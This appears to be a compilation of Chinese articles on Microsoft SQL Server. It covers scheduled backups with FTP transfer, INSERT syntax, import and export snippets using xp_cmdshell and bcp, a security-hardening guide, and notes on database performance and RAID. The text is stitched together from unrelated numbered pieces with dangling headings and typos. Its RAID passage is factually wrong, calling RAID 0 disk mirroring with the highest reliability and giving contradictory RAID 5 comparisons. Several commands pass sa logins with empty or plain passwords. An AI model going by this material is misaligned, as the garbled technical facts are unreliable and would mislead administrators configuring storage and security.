1.2 利用Microsoft SQL Server作业实现数据库数据的本地备份

具体步骤如下:

(1)在非系统分区建立SQL备份文件夹sqlbak,在sqlbak下建立名称分别为1至7的文件夹,分别储存周一到周日的数据。

(2)针对周一至周日制定备份计划。由于创建步骤完全一致,只介绍一个备份计划的制定过程。

1)打开SQL Server集成管理器SQL Server Management Studio,点击管理项下的“维护计划”,右键选择新建维护计划,创建维护计划任务,如图1所示。

2)选择要备份的数据库将备份文件备份到磁盘上,如图2所示。

3)指定备份文件存放的文件夹和位置(如:d:sqlbak11.bak),勾选“验证备份完整性”,此选项可修正一些错误,保证备份数据的有效性。

文件保留时间为删除保留的备份数据时间超过1周的文件,因为要保留最近2周的备份数据,所以设置备份计划自动删除早于1周的备份文件,如图3所示。

4)启动SQL Server代理,使其执行“数据库维护计划”作业,并对作业制定作业计划,如图4所示。

设置好各项参数后,在摘要说明栏中叙述了本次作业的详细内容。

重复(2)所述的操作,制定其他6个作业计划,任务名称按执行间隔做相应改动,备份数据存放的文件夹和位置与间隔日期相对应,如图5所示。

2 数据异地传输并存储

在1至7的文件夹中编写ftp.txt文件和run.bat文件,用Windows自带的计划任务调用备份文件夹下的.bat文件,实现数据定时传送到异地服务器上。

其中“ip-address”为FTP服务器IP地址;“username”为ftp用户名;“password”为ftp密码;“backup-data-dir”为FTP服务器上存放备份文件的目录;“d:dbbackdbback1.bak”为本地数据库备份文件的路径;“open”、“user”、“cd”、“prompt”、“mdelete”、“mput”、“bye”、“quit”均为标准FTP命令,作用分别执行连接、输入用户名、改变目录、开启闭合模式的切换、删除、复制、结束对话退出FTP程序,如图6所示。

打开Windows自带的“计划任务”,双击添加任务计划,根据任务计划向导建立任务计划,任务名称为sqlbak1,任务周期是每周,起始时间是2:00,日期为星期一,如图7所示。

单击下一步,输入计算机管理员用户密码,如果用户没有密码,在用户帐号功能中为用户创建密码。

重复前面操作,建立其他6个任务计划,分别调用备份文件夹2至7下的run.bat,任务名称和执行日期做相应改动,如图8所示。

7个任务计划建立完毕后就可以实现一周7天的数据自动备份。系统每天晚上2点对数据进行备份,并将备份的数据存储到相应的文件夹中,周一的备份数据会被存储到d:sqlbak1下,周二的备份数据会被存储到d:sqlbak2下,依次周日的数据备份数据被存储到d:sqlbak7下。当数据库出现问题时,管理员可以恢复两周内数据。

3 结语

通过利用Microsoft SQL Server作业和Windows系统自带的任务计划自动实现数据的异地备份,有效地避免因计算机软硬件的损坏及人为误操作对数据的损坏。

参考文献

7.sql数据添加语句 篇七

(1)单行INSERT语句

单行INSERT语句用于向一关系表中添加一行新数据。其使用格式如下:

INSERT INTO <表名>(列名列表)

VALUS (列值列表)

其中,列值列表中的各数值顺序与列名列表中的各列名相互对应。

(2)多行INSERT语句

多行INSERT语句用于向一关系表中添加若干行新数据,其使用格式如下:

INSERT INTO <表名>(列名列表)

(SELECT语句)

例9:将订单表中1月1日前的订单编号、日期和订购数量保存到另一关系表OLDORDERS中,

INSERT INTO OLDORDERS

(ORDER_NUM,ORDER_DATE,AMOUT)

SELECT ORDER_NUM,ORDER_DATE,AMOUNT

FROM ORDERS

WHERE ORDER_DATE<“01-JAN-99”

这里需要说明的是,在多行INSERT语句中,其数据来源是一个SELECT查询语句的结果。即多行INSERT语句与数据库内容的复制功能类似。其中SELECT查询语句的结果中列的顺序与列名列表中各列名相互对应。

参考资料:sql语言教程 Sql语言基础

8.sqlserver数据库语句 篇八

/******* 导出到excel

EXEC master..xp_cmdshell ’bcp SettleDB.dbo.shanghu out c:temp1.xls -c -q -S”GNETDATA/GNETDATA“ -U”sa“ -P”“’

/*********** 导入Excel

SELECT *

FROM OpenDataSource( ’Microsoft.Jet.OLEDB.4.0’,

’Data Source=”c:test.xls“;User ID=Admin;Password=;Extended properties=Excel 5.0’)...xactions

SELECT cast(cast(科目编号 as numeric(10,2)) as nvarchar(255))+’ ’ 转换后的别名

FROM OpenDataSource( ’Microsoft.Jet.OLEDB.4.0’,

’Data Source=”c:test.xls“;User ID=Admin;Password=;Extended properties=Excel 5.0’)...xactions

/** 导入文本文件

EXEC master..xp_cmdshell ’bcp ”dbname..tablename“ in c:DT.txt -c -Sservername -Usa -Ppassword’

/** 导出文本文件

EXEC master..xp_cmdshell ’bcp ”dbname..tablename“ out c:DT.txt -c -Sservername -Usa -Ppassword’

EXEC master..xp_cmdshell ’bcp ”Select * from dbname..tablename“ queryout c:DT.txt -c -Sservername -Usa -Ppassword’

导出到TXT文本,用逗号分开

exec master..xp_cmdshell ’bcp ”库名..表名“ out ”d:tt.txt“ -c -t ,-U sa -P password’

BULK INSERT 库名..表名

FROM ’c:test.txt’

WITH (

FIELDTERMINATOR = ’;’,

ROWTERMINATOR = ’n’

)

--/* dBase IV文件

select * from

OPENROWSET(’MICROSOFT.JET.OLEDB.4.0’

,’dBase IV;HDR=NO;IMEX=2;DATABASE=C:’,’select * from [客户资料4.dbf]’)

--*/

--/* dBase III文件

select * from

OPENROWSET(’MICROSOFT.JET.OLEDB.4.0’

,’dBase III;HDR=NO;IMEX=2;DATABASE=C:’,’select * from [客户资料3.dbf]’)

--*/

--/* FoxPro 数据库

select * from openrowset(’MSDASQL’,

’Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:’,

’select * from [aa.DBF]’)

--*/

/**************导入DBF文件****************/

select * from openrowset(’MSDASQL’,

’Driver=Microsoft Visual FoxPro Driver;

SourceDB=e:VFP98data;

SourceType=DBF’,

’select * from customer where country != ”USA“ order by country’)

go

/***************** 导出到DBF ***************/

如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句

insert into openrowset(’MSDASQL’,

’Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:’,

’select * from [aa.DBF]’)

select * from 表

说明:

SourceDB=c: 指定foxpro表所在的文件夹

aa.DBF       指定foxpro表的文件名.

/*************导出到Access********************/

insert into openrowset(’Microsoft.Jet.OLEDB.4.0’,

’x:A.mdb’;’admin’;’’,A表) select * from 数据库名..B表

/*************导入Access********************/

insert into B表 selet * from openrowset(’Microsoft.Jet.OLEDB.4.0’,

’x:A.mdb’;’admin’;’’,A表)

********************* 导入 xml 文件

DECLARE @idoc int

DECLARE @doc varchar(1000)

--sample XML document

SET @doc =’

Customer was very satisfied

white red”>

Important

Happy Customer.

-- Create an internal representation of the XML document.

EXEC sp_xml_preparedocument @idoc OUTPUT, @doc

-- Execute a SELECT statement using OPENXML rowset provider.

SELECT *

FROM OPENXML (@idoc, ’/root/Customer/Order’, 1)

WITH (oid    char(5),

amount float,

comment ntext ’text’)

EXEC sp_xml_removedocument @idoc

/********************导整个数据库*********************************************/

用bcp实现的存储过程

/*

实现数据导入/导出的存储过程

根据不同的参数,可以实现导入/导出整个数据库/单个表

调用示例:

--导出调用示例

----导出单个表

exec file2table ’zj’,’’,’’,’xzkh_sa..地区资料’,’c:zj.txt’,1

----导出整个数据库

exec file2table ’zj’,’’,’’,’xzkh_sa’,’C:docman’,1

--导入调用示例

----导入单个表

exec file2table ’zj’,’’,’’,’xzkh_sa..地区资料’,’c:zj.txt’,0

----导入整个数据库

exec file2table ’zj’,’’,’’,’xzkh_sa’,’C:docman’,0

*/

if exists(select 1 from sysobjects where name=’File2Table’ and objectproperty(id,’IsProcedure’)=1)

drop procedure File2Table

go

create procedure File2Table

@servername varchar(200) --服务器名

,@username varchar(200)  --用户名,如果用NT验证方式,则为空’’

,@password varchar(200)  --密码

,@tbname varchar(500)  --数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表

,@filename varchar(1000) --导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个参数是文件存放路径,文件名自动用表名.txt

,@isout bit     --1为导出,0为导入

as

declare @sql varchar(8000)

if @tbname like ’%.%.%’ --如果指定了表名,则直接导出单个表

begin

set @sql=’bcp ’+@tbname

+case when @isout=1 then ’ out ’ else ’ in ’ end

+’ “’+@filename+’” /w’

+’ /S ’+@servername

+case when isnull(@username,’’)=’’ then ’’ else ’ /U ’+@username end

+’ /P ’+isnull(@password,’’)

exec master..xp_cmdshell @sql

end

else

begin --导出整个数据库,定义游标,取出所有的用户表

declare @m_tbname varchar(250)

if right(@filename,1)’’ set @filename=@filename+’’

set @m_tbname=’declare #tb cursor for select name from ’+@tbname+’..sysobjects where xtype=’’U’’’

exec(@m_tbname)

open #tb

fetch next from #tb into @m_tbname

while @@fetch_status=0

begin

set @sql=’bcp ’+@tbname+’..’+@m_tbname

+case when @isout=1 then ’ out ’ else ’ in ’ end

+’ “’+@filename+@m_tbname+’.txt ” /w’

+’ /S ’+@servername

+case when isnull(@username,’’)=’’ then ’’ else ’ /U ’+@username end

+’ /P ’+isnull(@password,’’)

exec master..xp_cmdshell @sql

fetch next from #tb into @m_tbname

end

close #tb

deallocate #tb

end

go

/**********************Excel导到Txt****************************************/

想用

select * into opendatasource(...) from opendatasource(...)

实现将一个Excel文件内容导入到一个文本文件

假设Excel中有两列,第一列为姓名,第二列为很行帐号(16位)

且银行帐号导出到文本文件后分两部分,前8位和后8位分开,

(MS SQL Server)SQL语句导入导出大全数据库教程

如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2

然后就可以用下面的语句进行插入

注意文件名和目录根据你的实际情况进行修改.

insert into

opendatasource(’MICROSOFT.JET.OLEDB.4.0’

,’Text;HDR=Yes;DATABASE=C:’

)...[aa#txt]

--,aa#txt)

--*/

select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)

from

opendatasource(’MICROSOFT.JET.OLEDB.4.0’

,’Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:a.xls’

--,Sheet1$)

)...[Sheet1$]

如果你想直接插入并生成文本文件,就要用bcp

declare @sql varchar(8000),@tbname varchar(50)

--首先将excel表内容导入到一个全局临时表

select @tbname=’[##temp’+cast(newid() as varchar(40))+’]’

,@sql=’select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)

into ’+@tbname+’ from

opendatasource(’’MICROSOFT.JET.OLEDB.4.0’’

,’’Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:a.xls’’

)...[Sheet1$]’

exec(@sql)

--然后用bcp从全局临时表导出到文本文件

set @sql=’bcp “’+@tbname+’” out “c:aa.txt” /S“(local)” /P“” /c’

exec master..xp_cmdshell @sql

--删除临时表

exec(’drop table ’+@tbname)

用bcp将文件导入导出到数据库的存储过程:

/*--bcp-二进制文件的导入导出

支持image,text,ntext字段的导入/导出

image适合于二进制文件;text,ntext适合于文本数据文件

注意:导入时,将覆盖满足条件的所有行

导出时,将把所有满足条件的行也出到指定文件中

此存储过程仅用bcp实现

邹建 2003.08-----------------*/

/*--调用示例

--数据导出

exec p_binaryIO ’zj’,’’,’’,’acc_演示数据..tb’,’img’,’c:zj1.dat’

--数据导出

exec p_binaryIO ’zj’,’’,’’,’acc_演示数据..tb’,’img’,’c:zj1.dat’,’’,0

--*/

if exists (select * from dbo.sysobjects where id = object_id(N’[dbo].[p_binaryIO]’) and OBJECTPROPERTY(id, N’IsProcedure’) = 1)

drop procedure [dbo].[p_binaryIO]

GO

Create proc p_binaryIO

@servename varchar (30),--服务器名称

@username varchar (30), --用户名

@password varchar (30), --密码

@tbname varchar (500), --数据库..表名

@fdname varchar (30), --字段名

@fname varchar (1000), --目录+文件名,处理过程中要使用/覆盖:@filename+.bak

@tj varchar (1000)=’’, --处理条件.对于数据导入,如果条件中包含@fdname,请指定表名前缀

@isout bit=1  --1导出((默认),0导入

AS

declare @fname_in varchar(1000) --bcp处理应答文件名

,@fsize varchar(20)  --要处理的文件的大小

,@m_tbname varchar(50) --临时表名

,@sql varchar(8000)

--则取得导入文件的大小

if @isout=1

set @fsize=’0’

else

begin

create table #tb(可选名 varchar(20),大小 int

,创建日期 varchar(10),创建时间 varchar(20)

,上次写操作日期 varchar(10),上次写操作时间 varchar(20)

,上次访问日期 varchar(10),上次访问时间 varchar(20),特性 int)

insert into #tb

exec master..xp_getfiledetails @fname

select @fsize=大小 from #tb

drop table #tb

if @fsize is null

begin

print ’文件未找到’

return

end

end

--生成数据处理应答文件

set @m_tbname=’[##temp’+cast(newid() as varchar(40))+’]’

set @sql=’select * into ’+@m_tbname+’ from(

select null as 类型

union all select 0 as 前缀

union all select ’+@fsize+’ as 长度

union all select null as 结束

union all select null as 格式

) a’

exec(@sql)

select @fname_in=@fname+’_temp’

,@sql=’bcp “’+@m_tbname+’” out “’+@fname_in

+’” /S“’+@servename

+case when isnull(@username,’’)=’’ then ’’

else ’” /U“’+@username end

+’” /P“’+isnull(@password,’’)+’” /c’

exec master..xp_cmdshell @sql

--删除临时表

set @sql=’drop table ’+@m_tbname

exec(@sql)

if @isout=1

begin

set @sql=’bcp “select top 1 ’+@fdname+’ from ’

+@tbname+case isnull(@tj,’’) when ’’ then ’’

else ’ where ’+@tj end

+’” queryout “’+@fname

+’” /S“’+@servename

+case when isnull(@username,’’)=’’ then ’’

else ’” /U“’+@username end

+’” /P“’+isnull(@password,’’)

+’” /i“’+@fname_in+’”’

exec master..xp_cmdshell @sql

end

else

begin

--为数据导入准备临时表

set @sql=’select top 0 ’+@fdname+’ into ’

+@m_tbname+’ from ’ +@tbname

exec(@sql)

--将数据导入到临时表

set @sql=’bcp “’+@m_tbname+’” in “’+@fname

+’” /S“’+@servename

+case when isnull(@username,’’)=’’ then ’’

else ’” /U“’+@username end

+’” /P“’+isnull(@password,’’)

+’” /i“’+@fname_in+’”’

exec master..xp_cmdshell @sql

--将数据导入到正式表中

set @sql=’update ’+@tbname

+’ set ’+@fdname+’=b.’+@fdname

+’ from ’+@tbname+’ a,’

+@m_tbname+’ b’

+case isnull(@tj,’’) when ’’ then ’’

else ’ where ’+@tj end

exec(@sql)

--删除数据处理临时表

set @sql=’drop table ’+@m_tbname

end

--删除数据处理应答文件

set @sql=’del ’+@fname_in

exec master..xp_cmdshell @sql

go

/** 导入文本文件

EXEC master..xp_cmdshell ’bcp “dbname..tablename” in c:DT.txt -c -Sservername -Usa -Ppassword’

改为如下,不需引号

EXEC master..xp_cmdshell ’bcp dbname..tablename in c:DT.txt -c -Sservername -Usa -Ppassword’

/** 导出文本文件

EXEC master..xp_cmdshell ’bcp “dbname..tablename” out c:DT.txt -c -Sservername -Usa -Ppassword’

9.sqlserver数据库语句 篇九

1 SQL Server数据库的安全隐患

数据库的安全性是指保护数据库避免不合法的使用,以免数据的泄漏、更改或破坏。影响其安全的主要因素是系统安全隐患,是计算机系统在硬件、软件、协议的设计与实现过程中或系统安全策略上存在的缺陷和不足。非法用户可利用系统安全隐患获得计算机系统的额外权限,在未经授权的情况下访问或提高其访问权,危害计算机系统的安全。广义的系统安全隐患是一切威胁、损坏计算机系统安全的因素。SQLServer数据库系统隐患的产生原因是有两种攻击者:一种攻击者是本地系统的合法用户或已经通过其他攻击方法获得了本地权限的非法用户。另一种攻击者是远程非法用户,他们通过网络,对连接在网络上的任意一台客户机进行攻击。

2 SQL Server数据库的安全机制

为消除安全隐患、漏洞和威胁,SQL Server数据库设立了多层次的安全机制。具体可以划分为用户、数据库管理系统(DBMS)、操作系统(OS)、数据库(DB)四个层次。对于用户部分的安全机制采用身份认证方法。数据库管理系统则是通过访问控制保证资料的安全性,任何一个用户意图控制一个对象都必须拥有相应的授权。在操作系统级的安全控制主要侧重于文件权限的保护和系统资源使用限制。在数据库存储这一级,目前大多采用加密技术,对数据进行加密,即便物理存储设备失窃后,其上存储的数据也可保证不被泄漏。

2.1 身份认证

数据库用户名是连接数据库、存取数据库对象的主体标记,是数据库中管理权限和控制数据访问的一种安全措施。用户认证就是确定所要求的用户身份的正确性。口令识别是数据库身份认证中最常用的方式。

2.2 访问控制

数据库访问控制(accesscontro1)是对用户访问数据库各种对象包括表、视图、目录、应用等的权限(包括创建、撤销、查询、增加、删除、修改、执行等)的控制,可以通过用户分类和数据分类实现。访问控制是数据库安全系统中的核心技术,主要包括系统授权、确定访问权限和实施权限三个部分,是数据库管理系统最有效的安全手段。

2.3 系统文件访问控制

操作系统(OS)是数据库系统的运行平台,为数据库系统提供一定程度的安全保护。由于数据库系统在操作系统下都是以文件形式进行管理的。操作系统的用户可以直接利用OS工具来伪造、篡改数据库文件内容,所以应加强操作系统的安全管理。同时这也有助于抵制来自网络的数据库攻击。对操作系统用户管理和权限进行合理分配,防止操作系统用户非法进入数据库系统,合理地设置数据库文件的访问权限,防止文件被未授权修改,对于数据库的安全非常重要。

2.4 数据库加密

数据库加密要求数据库密码系统将明文数据加密成密文数据,数据库中存储密文数据,查询时将密文数据取出解密得到明文信息,即便硬件存储失窃也不会泄漏数据,这样就大大提高了数据库系统的安全性,当然成本也随之提高。对于网络层面上的攻击,数据库主要采用安装防火墙、进行入侵检测等方式来提高其安全性能。防火墙阻挡来自外部的不可信连接。入侵检测系统一般部署在防火墙后,通过网络截包解析或者分析日志来检测网络中和主机上的异常。

3 SQLServer2000数据库的安全设置

在设计SQLServer数据库时,要考虑数据库的安全机制,在安装时更要注意整个系统的安全设置。首先从操作系统出发,要进行正确的安全设置。明确操作系统用户权限后,使用文件驱动程序对文件操作进行过滤,即对数据库库文件、日志文件、备份文件等的操作权限限定为数据库进程和指定进程才能操作,其余进程来进行的操作将失败。这时数据库的安全性就取决于操作系统本身、数据库系统本身和网络传输的安全性了,这样做是排除了操作系统和数据库系统之外的软件的不安全因素。本文以Windows2000为例,列出在应用中要注意的安全事项。

3.1 Windows2000系统安全设置

(1)限制不必要的用户,禁用Guest账号,并为Administrator帐号更名;(2)给账号设置密码;(3)设置系统登录中各个项目;(4)网管员离开工位时要锁定计算机,不能仅仅采用设置屏幕保护密码的做法;(5)使用NTFS格式分区,NTFS分区要比FAT分区安全很多,只有使用NTFS分区才能真正发挥Windows2000的作用;(6)即时到微软网站下载最新的补丁程序;(7)修改注册表关闭默认共享;(8)锁定注册表。使用Windows2000的Regedit.32exe工具可以给注册表的每一个键值设置权限;(9)关闭不需要的服务;(10)Windows2000操作系统自带了审核工具,默认不开启;(11)敏感文件存放在另外的文件服务器中,进行及时、有效的备份。

3.2 网络安全设置

(1)在完全安装并配置好Win2000Server之前,一定不要把主机接入网络;(2)关闭不必要的端口;(3)最好不要使用远程管理软件和不信任的服务器软件。

3.3 SQLServer2000数据库安全设置

(1)必须对操作系统进行安全设置,保证操作系统处于安全状态;然后对要使用的操作数据库软件进行必要的安全审核,例如ASP、PHP等脚本,这些脚本通常是基于数据库的Web应用而出现安全隐患。审核后方可安全安装MSSQLServer2000。

(2)使用安全的密码策略和安全的帐户策略。帐号和密码的组合是安全性的最外围防御。如果这些密码中有一个被攻破,未授权或恶意用户将可以获得数据库资源的访问权。数据库帐号的密码绝对不可以过于简单,对于系统管理员应该注意不要让系统管理员帐号的密码在应用程序或者脚本中出现。数据库管理员应该定期修改密码、定期查看是否有不符合密码要求的帐号。

(3)审核数据库的登录事件,加强数据库日志的记录,在实例属性中选择“安全性”,将其中的审核级别选定为全部,这样在数据库系统和操作系统日志里面,就详细记录了所有帐号的登录事件。

(4)仔细分配和审核用户权限,不要分配太多权限,使用组策略。

(5)使用协议加密。SQLServer2000使用的Tabular DataStream协议来进行网络数据交换。如果不加密则所有的网络传输都是明文的,包括密码、数据库等内容,这是一个非常大的安全威胁,数据很可能被非法入侵者截获,所以在条件许可下最好使用SSL来加密协议,这需要一个证书来支持。

(6)进行端口设置,SQLServer2000属于“端口型”数据库,更改原默认的1433数据库端口。默认情况下,SQLServer使用1433端口监听。通过微软未公开的1434端口的UDP探测可以很容易知道SQLServer使用什么TCP/IP端口。为解决这一问题,在实例属性中选择TCP/IP协议的属性,选择隐藏SQLServer实例。这样将禁止对试图枚举网络上现有SQLServer实例的客户端所发出的广播作出响应。他人就不能用1434来探测你的TCP/IP端口了。

4 SQLServer 2005数据库的安全设置

Microsoft SQL Server 2005是迄今为止这一系列的最新版本。与以前的Microsoft SQL Server 2000相比,Microsoft SQL Server 2005的安全性有了很大的提高,但是安装后的默认设置还是和Server 2000一样有存在漏洞的地方,必须对这些地方进一步设置。

4.1 帐户设置

一个系统可能有众多的用户在使用,对于数据库系统来说,用户帐号能唯一标识一个用户,通过对用户帐号的限定可以控制用户对数据库的访问权限,指出哪个人可以访问哪一个数据库,允许进行哪些操作。用户帐号与登录帐号是两个不同的概念。一个合法的登录帐号只表明该帐号通过了Windows认证或SQL Server认证,但不能表明其可以对数据库数据和数据对象进行某种或某些操作。所以一个登录帐号总是与一个或多个数据库用户帐号相对应,这样才可以访问数据库。例如,登录帐号sa自动与每个数据库用户dbo相关联。

但在SQLServer 2005中,可以对sa这个超级帐户进行重命名或者删除。登录SQL Server Management Studio后,按下面路径:“对象资源管理器”——“安全性”——“登录名”,选择sa,右键,选择“重命名”或是“删除”都可以。比如本文只需要将sa重命名为xinxin即可。“登录名”中还有很多其他的帐号,这些多余的帐号也需要禁止。具体操作是在这些帐号右键属性——“状态”,把“是否允许连接到数据库引擎”改为“拒绝”,还有“登录”改为“禁用”;在“服务器角色”中,除了BUILTIN/Administrators和新修改的sa用户xinxin以外,其他帐户角色sysadmin的对勾去掉,“用户映射”中取消对所有数据库的映射;另外新建一个空的数据库database,将多余帐户属性——“常规”中的默认数据库修改为database数据库;“安全对象”中的设置均为空。在“对象资源管理器”——“安全性”——“服务器角色”——sysadmin属性中,删除其他多余的帐户。

4.2 管理扩展存储过程

删除不必要的存储过程,网上流行的sql脚本经过实践是不可行的。每个扩展存储过程实际上用的是相应的dll文件,比如:xp-cmdshell的dll文件是xplog70.dll。想让该存储过程不起作用,最彻底的方法是将其对应的dll文件删除。这些文件一般保存C:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinn目录。可以将xplog70.dll文件剪切到其他的目录备份。然后在原来的目录中新建一个xplog70.dll,最好做的大小和修改时间和原来的文件属性一样。

4.3 网络连接设置

对远程网络连接进行IP限制:进入SQL Server Configuration Manager ,启用TCP/IP协议,修改IP地址为您需要允许的IP地址即可。

4.4 验证设置

在服务器的属性安全中,启用登录审核中的失败与成功登陆,启用C2审核跟踪。C2是一个政府安全等级,它保证系统能够保护资源并具有足够的审核能力。C2模式允许监视对所有数据库实体的所有访问企图。

总之,大多数学校、企业、组织以及政府部门的电子数据都保存在各种各样的数据库中,他们用这些数据库保存一些个人和企业资料,保存着敏感的金融数据,包括交易记录、商业事务和账号数据,战略上的或者专业方面的重要信息,比如专利和工程数据甚至市场计划等等应该保护起来防止竞争者和其他非法者获取的秘密资料。因此,防止数据被恶意或非恶意的破坏或一些保密性文件被他人非法窃取及非本企业人员非法使用成为至关重要的问题,这对于数据库有关安全问题的研究也显得极其有意义。

参考文献

[1]李德有,彭德林.SQL Server数据库应用与开发[M].中国水利水电出版社,2007:180.

[2]王曦.关于SQLServer数据库安全设置的探讨[J].福建电脑,2008,10:1-2.

10.sqlserver数据库语句 篇十

数据库的生命周期分为设计、开发和成品三个阶段, 因此, 对数据库性能的优化要贯穿于数据库系统的整个过程, 由于在设计和开发阶段进行的成本最低, 数据库设计关系到系统的效率和质量, 因此, 在数据库的设计阶段对数据库性能进行优化, 是最高效、实用的措施。

数据库设计包括逻辑设计和物理设计两部分。逻辑设计主要是用数据库组件为业务需求和数据建模, 但不需要考虑数据的存储方式和位置;物理设计包括将逻辑设计映射到物理媒体上, 尽可能快的使用可用的软硬件对数据库进行物理访问和维护;还包括索引的生成。

1. 逻辑数据库设计的性能优化

1.1 数据库设计规范化和非规范化的互补。

关系数据库的主要存在形式是表格, 对关系数据库金属优化, 就是要合理的处理数据库中表与表的关系。科学合理的逻辑数据库设计能够在表与表的关系中进行科学的设计, 为关系数据库的优化和应用程序打下良好的基础。标准化的逻辑数据库采用大量有关系的窄表来代替很多列的宽表, 使数据库的排序和索引的建立更为迅速, 促进了多簇索引的使用使INSERT和DELETE等语句的执行速度更快, 使索引更窄、更紧凑, 由此形成的空值和多余值的减少也增加了数据库的紧凑性。

由此可知, 数据库的规范化处理使数据行趋向变窄, 减少了数据的冗余, 增加了SQL Server数据库每页的字符含量, 对表的扫描和返回多行的速度与单个表的查询功能进行了改进。但在涉及到多个表的使用时, 可能要对信息进行复杂的合并处理才能达到要求, 这一过程会引起大量的数据处理处理, 在一定程度上降低了系统的性能。要解决这一问题, 可以采用数据库的非规范化进行处理, 非规范化就是违反规范化的规则进行的一些数据库的设计。非规范化可以根据不同的情况采用不同的方式对系统的性能进行一定程度的改善, 提高数据库的整体性能。

(1) 当规范化设计产生了很多路的合并关系时, 在数据表中加入重复的列的方式会使数据库的操作产生困难。在这种情况下, 可以采用把实体 (表) 分割成两个表 (把所有的属性分割成两组) , 把每个表中的首要关键字进行复制的方式进行非规范化处理。就可以把频繁访问的数据和较少访问的数据分开, 这样的设计会产生较少的表, 还有利于并行处理。

(2) 对一些系统的最大值、总计等常用计算字段, 可以采取将字段存储到数据库实体中的方式进行处理;在表的记录量很大时, 用户可以把这些在查询和报表经常用到的资料的计划总数作为一个独立的字段加入到表中, 用触发器与客户端保持数据的一致。

这种做法也加大了表的处理难度, 可以采用把一个表分为两个表的方式进行非规范化处理, 这样的方式一般应用于含量较大的表中, 在使用中需要保持历史记录的, 可以把频繁访问的数据和较少使用的数据分开进行处理, 就可以减少单个表的操作难度。如果数据行是作为销售分区和地理分区等自身的逻辑工作组进行防伪时, 表的分开处理也具有一定的好处。

关于规范化和非规范化的处理原则, 一般是以规范化的设计为出发点, 在根据特定的情况有选择的对某些表进行非规划设计处理, 用规范化和非规范化向结合的策略进行数据库设计。但无论是规范化设计还是非规范化设计, 都可以利用SQL Server的以下功能对数据库的完整性进行自动的维护。

(1) 利用CHECK约束和PRIMARY KEY和UNIOUE约束来保证字段的有效性和唯一性。

(2) 利用DEFAULT和N0T NULL约束来保证输出必要字段值, 对字段的有效性进行保护。

(3) 利用F0REIGN KEY约束来保证记录的参照完整性。

(4) 使用IDENTITY字段, 高效生成惟一行的标始符。

(5) 利用TIMESTAMP字段确保在多用户更新间进行高效并发检查, 保证用户定义的数据与数据库内的保持一致。

SQL Server的这些强制规则有助于避免因应用程序本身为完全强制完整性规则而引起的数据库错误, 尽量保证强制保证数据库的完整性和有效性。

物理数据库设计

2. 磁盘硬件的选择。

一般选择由多个磁盘驱动器组成的RAID (独立磁盘冗余阵列) 磁盘系统设备。硬件RAID采用将Windows和应用程序的所有数据进行切片, 散分在所有参与RAID阵列的磁盘中的方法来减轻单个磁盘的工作负荷。也按照类似的方法在物理驱动器之间拆分数据, 将所有参与RAID阵列的物理磁盘的工作负荷进行平分。因此可以使作为整体参与RAID阵列的磁盘保持同等的繁忙程度, 不仅可以提高磁盘I/O的性能, 还避免了因某些磁盘I/O请求分配的不平均而成为瓶颈的情况发生。RAID还用奇偶信息和镜像等方法预防磁盘故障的出现和数据的丢失。因此, RAID磁盘系统具有很高的可靠性、存储容量, 整体性能很高, 而且所需的成本很低。

SQL Server在具体的使用中, 一般采用RAID等级0、1和5.

RAID 0是最基本的RAID级别, 是传统的磁盘镜像, 阵列中的每一个磁盘都有一个或者是多个磁盘的拷贝, 能够提供最高的可靠性。由此可见, RAID 0的写操作得以成倍的增加, 但对读操作却没有影响, 可以进行多个读操作的并行处理, 提高了读操作的性能。

RAID 1是最基本的容错RAID级别, 称为磁盘镜像或者是磁盘双工。主要是保证事务日志的冗余性。

RAID 5是使用奇偶校验对数据引入冗余的RAID容错级别。将数据信息和校验信息分散到阵列的所有磁盘中, 当数据分割为条时, 对附加的奇偶校验位进行计算并将其存储在一个磁盘的条中, 解决了单个校验盘的瓶颈和单点失效问题。因此, RAID 5阵列失去一个磁盘驱动器不会对系统造成太大的影响。此外, RAID 5也增加了写操作, 可以并行处理一个读操作, 成倍的提高了读操作的性能。

通常情况下, 在RAID 0驱动器上配置数据库, 将事务日志放置在驱动器RAID 1的方法, 通过镜像事务日志, 为数据库获取最佳的磁盘I/O性能并对数据库的可恢复性进行维护。若考虑到数据的快速恢复, 可以将数据库和镜像事务日志放置在RAID 5磁盘上。

综上可知, RAID 5提供的性能比RAID 0或RAID 1要低, 但可靠性和恢复能力比它们要高。而且虽然RAID 5的写操作比RAID 0的增加要少, 但在实际的应用中, 用户的读操作要比写操作多很多, 而且写操作的执行操作速度很快, 因此, 读者对写操作时间的节省很难感觉到。因此, 在实际的应用中, 一般选用RAID 5来作为硬件磁盘使用。

2.1 索引的选择。

索引的建立是快速获得所需信息的有效方法, 索引的访问与全表扫描相比, 查询时间明显的缩短。SQL Server提供了聚集索引和非聚集索引两种索引。虽然索引都可以提高检索和更新数据库的速度, 但不同的索引由于功能的不同对于特定的任务可能会有更高的效率, 因此, 在设计时, 要根据实际情况进行选择。

非聚集索引的索引顺序和其表行的物理排序不同, 但其叶层包含指向数据页上的表行指针。SQL Server可以通过搜索非聚集索引中的表行指针对数据库中的数据位置进行直接的查找, 从而能得以快速的读取数据。

聚集索引按照字典排序对表中数据的进行物理排序, SQL Server按行的形式排列表行, 使得它们具有相同的物理顺序和逻辑顺序。由于聚集索引决定了表中数据的物理顺序, 因此, 每张表只能建立一个聚集索引。

由此可以看出, 聚集索引对数据进行物理排序, 查询的速度相对较快, 但一个表只能建立一个聚集索引。非聚集索引只对数据进行逻辑排序, 速度相对较慢, 但一个表可以建立多个索引。另外, 由于新数据不仅要增加到表中, 还要在索引中进行更新, 所以, 非聚集索引的建立虽然加快了查询的速度, 但降低了更新的速度。加上索引的使用还需要额外的磁盘空间和维护开销, 因此, 在实际的设计选择中, 要尽量选择有用的索引和索引形式, 以便最好的发挥其作用。

3. 查询语句的选择。

数据库的查询效率是衡量数据库性能的一个重要的指标, 但SQL Server的查询会消耗大量资源, 在保证查询效率的同时也产生了一些负面的影响, 下面就如何优化查询和提高查询性能提出几点建议。

